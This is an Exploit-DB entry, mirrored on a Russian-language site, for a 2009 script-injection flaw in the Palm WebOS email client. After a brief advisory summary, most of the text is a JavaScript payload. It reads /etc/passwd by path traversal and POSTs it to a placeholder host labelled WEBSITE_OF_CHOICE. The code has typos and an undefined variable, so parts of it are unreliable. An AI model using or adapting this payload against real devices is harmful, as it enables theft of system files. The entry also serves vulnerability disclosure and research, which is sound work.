- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 33265
- Проверка EDB
-
- Пройдено
- Автор
- TOWNSEND LADD HARRIS
- Тип уязвимости
- REMOTE
- Платформа
- HARDWARE
- CVE
- N/A
- Дата публикации
- 2009-10-05
Код:
source: https://www.securityfocus.com/bid/36592/info
Palm WebOS is prone to an arbitrary-script-injection vulnerability because the integrated email application fails to properly sanitize user-supplied input.
An attacker can exploit this issue to execute arbitrary script code. Successful exploits can compromise the application.
Versions prior to WebOS 1.2 are vulnerable.
<script>
var getdata = null;
get = new XMLHttpRequest();
get.open('GET', "file://../../../../../../../../../etc/passwd");
get.send("");
get.onreadystatechange = function() {
if (get.readyState == 4) {
getdata = get.responseText;
POST(getdata);
}
}
function POST (egg) {
post = new XMLHttpRequest();
var strResult;
//Edit WEBSITE_OF_CHOICE for Grabber
post.open('POST', "WEBSITE_OF_CHOICE",false);
post.setRequestHeader('Conetnt-Type','application/x-www-form-urlencoded');
post.send(egg);
get.send("");
post = null;
strResult = objHTTP.tesponseTetxt;
}
</script>
- Источник
- www.exploit-db.com